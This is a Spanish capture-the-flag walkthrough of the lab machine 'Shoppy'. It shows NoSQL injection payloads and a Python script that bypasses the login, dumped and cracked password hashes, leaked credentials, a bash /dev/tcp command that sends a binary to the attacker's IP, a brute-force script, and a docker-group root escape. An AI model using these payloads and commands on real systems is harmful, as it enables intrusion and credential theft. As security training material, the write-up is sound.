Shoppy
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El80sirveshoppy.htb, una tienda con panel/logincuyo backend es MongoDB: la inyección NoSQLadmin' || '1'=='1salta la autenticación. El buscador de usuarios es vulnerable igual y vuelca los hashes deadminyjosh; el dejosh(MD5) se rompe aremembermethisway. Esas credenciales entran en el subdominiomattermost.shoppy.htb, donde un canal filtra las dejaeger(reutilizadas en SSH).jaegerpuede ejecutarpassword-managercomodeploy: sacándole la master password (fuerza bruta o Ghidra) revela la contraseña dedeploy, que está en el grupo docker → root.
Reconocimiento
Ping
Empezamos con un ping para confirmar que el host responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.180
64 bytes from 10.10.11.180: icmp_seq=1 ttl=63 time=... msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Empezamos por UDP, que es barato de descartar y a veces esconde el único servicio interesante. Aquí no hay nada: el filtro grep -v 'no-response' deja la tabla de puertos completamente vacía.
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.180 | grep -v 'no-response'
Initiating UDP Scan at 22:14
Scanning 10.10.11.180 [100 ports]
Completed UDP Scan at 22:14, 1.05s elapsed (100 total ports)
Nmap scan report for 10.10.11.180
Host is up, received user-set (0.14s latency).
Not shown: 6 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 1.13 secondsSolo 6 puertos responden port-unreach (cerrados) y los 94 restantes callan, que en UDP significa open|filtered y por eso ni se listan tras el filtro. Sin vector por aquí, pasamos al TCP completo. El barrido lo lanzamos con una función definida en el .zshrc, y conviene enseñarla porque el nombre jmap no dice nada por sí solo:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Es la primera de las dos fases del escaneo de puertos: barrer los 65535 puertos TCP (-p-) con un SYN scan (-sS), sin DNS (-n) ni ping previo (-Pn), guardando el resultado en formato grepeable (-oG scan) para procesarlo después.
jmap # 10.10.11.180
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
9093/tcp open copycat syn-ack ttl 63Tres puertos, y el ttl 63 de cada línea vuelve a confirmar Linux sobre TCP, no solo sobre ICMP. El 9093 no es un puerto habitual, así que ya sabemos que el escaneo dirigido tiene algo que aclarar. Una segunda función extrae los puertos del fichero grepeable y los deja en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.180
Open ports: 22,80,9093
Ports copied to clipboardLa segunda fase es el escaneo dirigido, que identifica OpenSSH, un nginx que revela el dominio shoppy.htb y, en el 9093, un servicio HTTP escrito en Go:
nmap -p22,80,9093 -sCV 10.10.11.180
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open http Golang net/http serverEl dato que dirige todo lo demás es el http-title: Did not follow redirect to http://shoppy.htb. El servidor responde con una redirección a un nombre de dominio, no a la IP, señal clara de virtual hosting. Sin ese nombre en /etc/hosts no veremos el sitio real.
El 9093 en Go resulta ser un endpoint de métricas tipo Prometheus. Lo dejamos anotado, pero en esta caja no acaba siendo el vector.
Virtual hosting
nano /etc/hosts
cat /etc/hosts
1 127.0.0.1 localhost
2 127.0.1.1 kali
...
9 10.10.11.180 shoppy.htbHTTP - TCP 80: tecnologías
whatweb http://shoppy.htb
http://shoppy.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.23.1], IP[10.10.11.180],
JQuery, Script, Title[Shoppy Wait Page][Title element contains newline(s)!], nginx[1.23.1]Poca cosa: nginx, jQuery y un título, Shoppy Wait Page, que ya adelanta que la portada no es la aplicación sino una página de espera. Wappalyzer confirma lo mismo desde el navegador:

Font scripts: Font Awesome
JavaScript libraries: jQuery 1.10.2
Web servers: Nginx 1.23.1
Reverse proxies: Nginx 1.23.1Hay un detalle que merece la pena leer: Wappalyzer cataloga a nginx a la vez como servidor web y como proxy inverso. Eso significa que delante hay un nginx que reparte hacia una o varias aplicaciones detrás, lo que refuerza la sospecha de virtual hosting y anticipa que puede haber más de un sitio en la misma IP.
La portada es una cuenta atrás con el texto "Shoppy beta coming soon ! Stay tuned for beta access !". Revisamos el código fuente por si escondiera algo:

<title>
Shoppy Wait Page
</title>
<link href="favicon.png" rel="shortcut icon" type="image/png">
<link href="css/roboto.css" rel="stylesheet" type="text/css">
<link href="css/loader.css" rel="stylesheet" type="text/css">
...
<h1 id="countdown">
Shoppy beta coming soon ! Stay tuned for beta access !
</h1>
<script src="js/plugins.js"></script>
<script src="js/jquery.countdown.min.js"></script>
<script src="js/main.js"></script>Cincuenta y siete líneas de plantilla y nada más: ni comentarios, ni credenciales, ni rutas escondidas. Es exactamente lo que aparenta, una página de "próximamente". La aplicación de verdad tiene que estar en otro sitio.
Fuzzing de subdominios
Como tenemos un dominio y un proxy inverso, lo lógico es buscar otros nombres de host. El primer intento no encuentra nada:
wfuzz -u http://shoppy.htb -w subdomains-top1million-110000.txt -H "Host: FUZZ.shoppy.htb" --hh=169
Target: http://shoppy.htb/
Total requests: 114441
ID Response Lines Word Chars Payload
^C
Total time: 0
Processed Requests: 81906
Filtered Requests: 81906
Requests/sec.: 0La tabla está vacía: 81 906 peticiones procesadas y 81 906 filtradas, es decir, todas devolvieron los mismos 169 caracteres que el filtro --hh=169 descarta (esos 169 son la respuesta por defecto de nginx ante un Host que no reconoce). Un resultado así no demuestra que no haya subdominios, solo que no están en ese diccionario. Antes de dar la vía por cerrada, se repite con otro:
wfuzz -u http://shoppy.htb -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.shoppy.htb" --hh=169 -t 100
ID Response Lines Word Chars Payload
000047340: 200 0 L 141 W 3122 Ch "mattermost"Una sola entrada supera el filtro: el subdominio mattermost responde con 3122 caracteres. Cambiar de diccionario es una de esas decisiones que en un writeup ocupan media línea pero que en la práctica marcan la diferencia entre resolver la máquina y darla por atascada.
nano /etc/hosts
cat /etc/hosts
9 10.10.11.180 shoppy.htb mattermost.shoppy.htbFuzzing de rutas
En paralelo, un fuzzing de rutas sobre el dominio principal:
dirsearch -u http://shoppy.htb/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://shoppy.htb/
[22:32:53] Starting:
[22:32:58] 301 - 171B - /js -> /js/
[22:33:11] 302 - 28B - /ADMIN -> /login
[22:33:11] 302 - 28B - /Admin -> /login
[22:33:11] 302 - 28B - /admin -> /login
[22:33:11] 302 - 28B - /Admin/ -> /login
[22:33:11] 302 - 28B - /admin/ -> /login
[22:33:20] 301 - 179B - /assets -> /assets/
[22:33:27] 301 - 173B - /css -> /css/
[22:33:32] 200 - 208KB - /favicon.ico
[22:33:32] 301 - 177B - /fonts -> /fonts/
[22:33:35] 301 - 179B - /images -> /images/
[22:33:39] 200 - 1KB - /login
[22:33:39] 200 - 1KB - /login/
Task CompletedDos rutas importan: /admin, que redirige con un 302 a /login (o sea, existe y está protegida), y /login, el formulario. El resto son directorios estáticos.
Un detalle que se suele pasar por alto: /ADMIN, /Admin y /admin devuelven exactamente lo mismo, igual que /login y /Login. El enrutado no distingue mayúsculas, lo que confirma que detrás no hay ficheros en disco sino rutas declaradas en una aplicación. Confirmamos con un segundo fuzzer y otro diccionario:
gobuster dir -u http://shoppy.htb -w directory-list-2.3-medium.txt
[+] Url: http://shoppy.htb
[+] Wordlist: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
/images (Status: 301) [Size: 179] [--> /images/]
/login (Status: 200) [Size: 1074]
/admin (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/Login (Status: 200) [Size: 1074]
/js (Status: 301) [Size: 171] [--> /js/]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/Admin (Status: 302) [Size: 28] [--> /login]
Progress: 14547 / 220563 (6.60%)^CCoinciden ruta por ruta y tamaño por tamaño (/login = 1074 bytes en ambos), así que se corta el escaneo al 6,6%: dos herramientas distintas con dos diccionarios distintos han llegado a la misma conclusión y seguir sería gastar tiempo.
Acceso como admin
El panel y los intentos de SQLi
/login es un panel llamado Shoppy Admin. Las credenciales de manual no entran:

POST /login?error=WrongCredentials HTTP/1.1
Host: shoppy.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=adminLa página responde Wrong Credentials y la URL arrastra ?error=WrongCredentials. Interceptando con Burp vemos lo importante para lo que viene: los datos viajan en el cuerpo de un POST con Content-Type: application/x-www-form-urlencoded, no en la URL. Ahí es donde hay que inyectar.
Probamos primero los payloads SQL clásicos:
username='OR 1=1&password=admin
HTTP/1.1 504 Gateway Time-out
Server: nginx/1.23.1username='OR '1'='1&password=admin
HTTP/1.1 504 Gateway Time-out
Server: nginx/1.23.1
Content-Type: text/html
Content-Length: 167
<html>
<head><title>504 Gateway Time-out</title></head>
<body><center><h1>504 Gateway Time-out</h1></center>Los dos devuelven 504 Gateway Time-out, y esa respuesta dice más de lo que parece. Un 504 lo genera nginx, no la aplicación: significa que el backend al que hace de proxy no ha contestado a tiempo. No es un error de sintaxis SQL ni un 500 de la aplicación, es que algo se ha quedado colgado detrás. Cuando un payload SQL no produce un error SQL, la primera hipótesis es que el motor no es SQL.
NoSQL injection
Ajustamos la sintaxis a la de MongoDB, que interpreta los sub-parámetros del formulario como operadores:
username[$ne]=1&password[$ne]=1![el operador [$ne] cambia la respuesta a 400 Bad Request: el backend interpreta la sintaxis de MongoDB](../assets/img/shoppy/shop-132432.webp)
HTTP/1.1 400 Bad Request
Server: nginx/1.23.1Cambia la respuesta, y eso ya es una señal. username[$ne]=1 es la forma de escribir en un formulario el objeto {username: {$ne: 1}}: si el servidor pasa de colgarse (504) a rechazar la petición (400), es que la está interpretando como un objeto, no como una cadena. Insistimos con la variante en JSON, cambiando también el Content-Type, porque MongoDB acepta ese formato:
POST /login?error=WrongCredentials HTTP/1.1
Host: shoppy.htb
Content-Type: application/json
{
"username":{ "$gt":undefined },
"password":{ "$gt":undefined }
}
HTTP/1.1 400 Bad Request
Server: nginx/1.23.1
Content-Type: text/html; charset=utf-8
Content-Length: 1016
SyntaxError: Unexpected token u in JSON at position 21
at JSON.parse (<anonymous>)
at parse (/home/jaeger/ShoppyApp/node_modules/body-parser/lib/types/json.js:89:19)
at /home/jaeger/ShoppyApp/node_modules/body-parser/lib/read.js:128:18
at AsyncResource.runInAsyncScope (node:async_hooks:203:9)
at invokeCallback (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:231:16)
at done (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:220:7)
at IncomingMessage.onEnd (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:280:7)Este es el hallazgo más rentable de toda la enumeración, y es fácil pasarlo por alto porque técnicamente el payload falló: undefined no es JSON válido, de ahí el SyntaxError. Pero al fallar, la aplicación devolvió la traza completa sin capturarla, y esa traza filtra tres cosas:
- El backend es Node.js con Express (
body-parser,raw-body). - La aplicación se llama ShoppyApp.
- Y, sobre todo, corre bajo el usuario
jaeger, porque su ruta es/home/jaeger/ShoppyApp/.
Es decir, ya sabemos el nombre de un usuario del sistema mucho antes de encontrar Mattermost. Una traza de error sin capturar es una fuga de información en toda regla, y aquí nos da medio camino gratis.
Confirmado el motor, buscamos el equivalente NoSQL del OR 1=1:

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='aLa referencia es la sección NoSQL injection de HackTricks. La explicación de por qué funciona está en la propia página: si la consulta se construye como { $where: this.username == '${username}' }, meter admin' || 'a'=='a la convierte en una tautología, así que la condición se cumple para todos los documentos.
username=admin' || 'a'=='a&password=admin
HTTP/1.1 302 Found
Server: nginx/1.23.1
Content-Length: 56
Location: /admin
<p>Found. Redirecting to <a href="/admin">/admin</a></p>302 a /admin: autenticación saltada. Probamos también la variante con enteros y byte nulo, para ver si el filtro es el mismo:
username=admin' || 1==1%00&password=admin
HTTP/1.1 302 Found
Server: nginx/1.23.1
Content-Length: 56
Location: /adminFunciona igual. El %00 termina la consulta antes de la comilla de cierre que espera la aplicación, así que sirve incluso si la tautología con cadenas estuviera filtrada. Tener dos payloads válidos en lugar de uno importa cuando el filtro cambia.
Con el vector confirmado, lo automatizamos en un script mínimo para no depender de Burp:
cat noSQL.py
python3 noSQL.py
#!/usr/bin/python3
import os, sys, requests, pdb, signal
def def_handler(sig, frame):
print("\n\n[!] Saliendo ... \n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "http://shoppy.htb/login"
def makeRequest():
payload = "admin' || '1'=='1"
post_data = {
'username': payload,
'password': "admin"
}
r = requests.post(url, data=post_data)
os.system("echo '%s'|html2text" % r.text)
if __name__ == '__main__':
makeRequest()Shoppy
**** Products of Shoppy App ****
Search for users
Name Price
PC 1145$
Smartphone 200$
Backpack 30$
Jacket 20$
Ventilator 2$
Controller 15$El script sigue la redirección y html2text deja el HTML legible en la terminal. Lo mismo desde el navegador:

Products of Shoppy App
Name Price
PC 1145$
Smartphone 200$
Backpack 30$
Jacket 20$
Ventilator 2$
Controller 15$La tabla de productos es decorado. Lo que importa es el botón de arriba a la derecha: Search for users.
Volcado de la base de datos
NoSQL injection en el buscador
El buscador vive en /admin/search-users?username=... y devuelve JSON. Con un usuario normal:

0:
_id: "62db0e93d6d6a999a66ee67a"
username: "admin"
password: "23c6877d9e2b564ef8b32c3a23de27b2"Devuelve el _id, el username y el hash de la contraseña, que ya es de por sí una fuga grave: un buscador de usuarios no tiene por qué exponer credenciales. Y el botón Download export confirma que el resultado se puede volcar a fichero.
Si este campo llega a la consulta igual de crudo que el del login, la misma tautología debería devolver todos los documentos en lugar de uno:
admin' || '1'=='1
[
{ "_id": "62db0e93d6d6a999a66ee67a", "username": "admin",
"password": "23c6877d9e2b564ef8b32c3a23de27b2" },
{ "_id": "62db0e93d6d6a999a66ee67b", "username": "josh",
"password": "6ebcea65320589ca4f2f1ce039975995" }
]Aparece un segundo usuario, josh, con un hash de 32 caracteres hexadecimales.
Crackeo del hash
Guardamos los dos hashes y confirmamos el formato antes de lanzar nada, porque elegir mal el modo hace que el crackeo falle aunque la contraseña esté en el diccionario:
nano hashes.txt
cat hashes.txt
hash-identifier
File: hashes.txt
1 6ebcea65320589ca4f2f1ce039975995
2 23c6877d9e2b564ef8b32c3a23de27b2
HASH: 6ebcea65320589ca4f2f1ce039975995
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)MD5, como cabía esperar por la longitud. Con eso ya podemos fijar el formato de john:
john --wordlist=rockyou.txt --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (?)
1g 0:00:00:00 DONE (2025-10-17 14:22) 1.136g/s 16299Kp/s 16299Kc/s 17222KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.Carga los dos hashes pero solo rompe uno (1g), y no dice cuál. La salida sale con (?) justamente porque john no puede asociar la contraseña a un usuario: el fichero solo tenía hashes pelados, sin el campo usuario:. Para saberlo, consultamos el fichero donde john guarda todo lo que ha crackeado:
tail -1 ~/.john/john.pot
$dynamic_0$6ebcea65320589ca4f2f1ce039975995:remembermethiswayEl hash es el 6ebcea..., así que la contraseña remembermethisway es la de josh. La de admin no cae con rockyou, pero no la necesitamos. Conviene quedarse con el truco: ~/.john/john.pot es el historial de todo lo roto y resuelve el "¿de quién era este hash?" sin volver a lanzar nada.
Acceso como jaeger
Mattermost: credenciales filtradas
El bypass del login ya nos dejó como admin, así que las credenciales de josh no aportan nada en la tienda. Pero teníamos el subdominio pendiente, que sirve un Mattermost (chat corporativo tipo Slack):

Log in to your account
Email or Username: josh
Password: remembermethisway
Shoppy
CHANNELS
Coffee Break
Deploy Machine (privado)
Development
Town Square
DIRECT MESSAGES
feedbackbotLas credenciales entran. Hay cuatro canales, y el nombre del segundo es el que salta a la vista: Deploy Machine, además con el candado de canal privado, que es donde la gente cree que puede escribir cosas que no debería.

For the deploy machine, you can create an account with these creds:
username: jaeger
password: Sh0ppyBest@pp!jaeger es justo el usuario que ya nos había filtrado la traza de Node.js hace un rato, lo que confirma que es una cuenta real del sistema y no un nombre inventado del chat.
SSH como jaeger
Esas credenciales están reutilizadas en el SSH:
ssh jaeger@10.10.11.180
id
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)Un usuario sin grupos interesantes: ni sudo, ni docker, ni adm. La escalada tendrá que salir de otro sitio.
cat user.txt
jaeger@shoppy:~$ cat user.txt
667d26bb3ed6e9f6d9e26d74022c2ae1Escalada de privilegios
sudo: password-manager como deploy
sudo -l
sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: fasda
Access denied! This incident will be reported !Tres cosas de esta salida. Primero, la regla no lleva NOPASSWD, por eso sudo pide la contraseña de jaeger (que ya tenemos). Segundo, el bloque Matching Defaults entries incluye secure_path, que es la razón técnica de que aquí no sirva un PATH hijacking: sudo reconstruye el PATH con esa lista fija, así que no podemos colar un binario nuestro delante. Y tercero, el saludo del programa (Welcome to Josh password manager!) lo ata al josh de antes.
Con una contraseña inventada responde Access denied! This incident will be reported !. Hay que averiguar la buena.
Sacar el binario para analizarlo
Como no podemos secuestrar su PATH, toca mirar el binario por dentro. Lo traemos a nuestra máquina usando el redirector /dev/tcp de Bash, que no requiere ninguna herramienta instalada en la víctima:
nc -nlvp 1234 > password_managercat /home/deploy/password-manager > /dev/tcp/10.10.16.6/1234
md5sum password-manager
# nc -nlvp 1234 > password_manager
listening on [any] 1234 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.180] 43018
# cat password_manager
File: password_manager <BINARY>
# md5sum password_manager
74c42b1183ea448f72487caebf1eadb6 password_manager
jaeger@shoppy:/home/deploy$ md5sum password-manager
74c42b1183ea448f72487caebf1eadb6 password-managerEl md5sum coincide en los dos extremos, así que la transferencia no corrompió nada. Es un paso de veinte segundos que evita horas de depurar un fallo que en realidad era un fichero truncado. (El fichero local se llama password_manager con guion bajo solo porque así lo nombró el nc; en la víctima sigue siendo password-manager.)
Vía 1: fuerza bruta
El programa compara la entrada contra una contraseña fija, así que se le puede probar un diccionario entero. El script lanza los intentos en bloques de 200 en paralelo, porque uno a uno tardaría horas:
chmod +x password_manager
nano bruteForce.sh
chmod +x bruteForce.sh
./bruteForce.sh#!/bin/bash
counter=0
top_counter=200
while read -r pw; do
if [ $counter == $top_counter ]; then
wait
let top_counter+=100
fi
echo "$pw" | ./password_manager 1>/dev/null && echo "La contraseña es $pw" &
let counter+=1
done < /home/krmena/rockyoudir/rockyou.txt
cat: /home/deploy/creds.txt: No such file or directory
La contraseña es SampleLa salida tiene dos líneas y las dos son informativas. La contraseña maestra es Sample, y el cat: /home/deploy/creds.txt: No such file or directory destripa el mecanismo del binario: cuando acierta la contraseña no imprime nada guardado dentro de sí, sino que ejecuta un cat sobre /home/deploy/creds.txt. En nuestra máquina ese fichero no existe, de ahí el error. Por eso la fuerza bruta local nos da la llave pero no el botín: hay que volver a la víctima y lanzarlo allí.
sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger:
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!Vía 2: ingeniería inversa con Ghidra
La forma "limpia", y la que además explica por qué la contraseña era tan corta, es abrir el binario en Ghidra. El flujo de arranque es el que más se atasca la primera vez, así que va paso a paso: se lanza la herramienta, File → New Project y se elige el directorio de trabajo.

# ghidra
Creating project: /home/krmena/machines/shoppy/content/program.repDespués se abre el proyecto (el icono del dragón), File → Import File y se selecciona el binario. El diálogo de importación ya confirma con qué estamos tratando:


Import /home/krmena/machines/shoppy/content/password_manager
Format: Executable and Linking Format (ELF)
Language: x86:LE:64:default:gcc
Destination Folder: f:/
Program Name: password_managerQue Ghidra identifique solo el formato (ELF de 64 bits compilado con gcc) confirma que no está empaquetado ni cifrado, así que el decompilado va a ser legible. Se aceptan las opciones por defecto y se deja analizar. En la lista de funciones, main():

local_29 = 'S';
local_28 = 'a';
local_27 = 'm';
local_26 = 'p';
local_25 = 'l';
local_24 = 'e';Ahí está la master password en claro, construida carácter a carácter y concatenada en una variable local. Partirla en letras sueltas evita que aparezca en un strings, pero no sobrevive a un decompilador: es el clásico secreto hardcodeado con una capa de disfraz que no protege de nada.
Grupo docker → root
Con deploy:Deploying@pp! cambiamos de usuario:
su deploy
bash
id
jaeger@shoppy:/home/deploy$ su deploy
Password:
$ bash
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)(El $ pelado tras el su es porque la shell por defecto de deploy no es Bash; se lanza bash a mano para tener un prompt cómodo.)
deploy está en el grupo docker, y eso equivale a root: el demonio de Docker corre como root y cualquiera que pueda hablar con su socket puede pedirle un contenedor que monte la raíz del anfitrión. Con chroot sobre ese montaje salimos a una shell de root sobre el sistema real (abuso del grupo docker). El payload es el de GTFOBins:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
bash
id
deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# bash
root@95fce5af4f60:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)El 95fce5af4f60 del prompt es el identificador del contenedor, pero el sistema de ficheros que estamos pisando es el del anfitrión, montado en /mnt y convertido en raíz por el chroot. La flag lo confirma:
cat root/root.txt
root@95fce5af4f60:/# cat root/root.txt
271222c99f458f75b442b2ddd3d1456dCadena de ataque
nmap TCP (22, 80, 9093) → shoppy.htb
└─> /login: backend MongoDB → NoSQL injection admin' || 'a'=='a → bypass (admin)
│ (la traza de Node.js del payload JSON ya filtra /home/jaeger/ShoppyApp)
└─> /admin/search-users: NoSQL admin' || '1'=='1 → hashes de admin y josh
└─> john (MD5) → josh:remembermethisway
└─> mattermost.shoppy.htb → canal Deploy Machine → jaeger:Sh0ppyBest@pp!
└─> SSH como jaeger (user.txt)
└─> sudo -u deploy password-manager → master "Sample" (brute/Ghidra)
└─> deploy:Deploying@pp! → grupo docker
└─> docker run -v /:/mnt ... chroot → root (root.txt)Lecciones aprendidas
- NoSQL no significa "sin inyección". Un campo de login que llega tal cual a una consulta MongoDB permite condiciones siempre verdaderas (
|| '1'=='1, operadores$ne/$gt) que saltan la autenticación o vuelcan datos. La pista fue el cambio de respuesta (504 con payloads SQL, 400 con sintaxis de MongoDB), no un error SQL clásico. - Una traza de error sin capturar es una fuga. El payload JSON que "falló" devolvió el
stack tracede Node.js con la ruta/home/jaeger/ShoppyApp/, revelando el usuario del sistema antes de encontrar el chat. En producción, los errores se registran en el servidor y al cliente se le devuelve un mensaje genérico. - Un fuzz vacío no cierra una vía, solo descarta un diccionario. El primer
wfuzzfiltró sus 81 906 peticiones sin un solo acierto; el segundo, con otra lista, encontrómattermosta la primera. - No reutilizar credenciales entre servicios.
joshabría Mattermost; un canal filtraba las dejaeger, que valían tal cual para SSH. Cada salto fue reutilización de credenciales encontradas en el paso anterior. - Ofuscar un secreto en un binario no lo protege. La master password estaba hardcodeada carácter a carácter para escapar de un
strings, pero el decompilado la enseña entera; y la fuerza bruta la sacó igual, de paso revelando que el programa solo hacía uncat /home/deploy/creds.txt. - El grupo docker es root. Cualquier miembro puede montar el sistema de ficheros del anfitrión en un contenedor y escalar: conceder docker equivale a conceder root.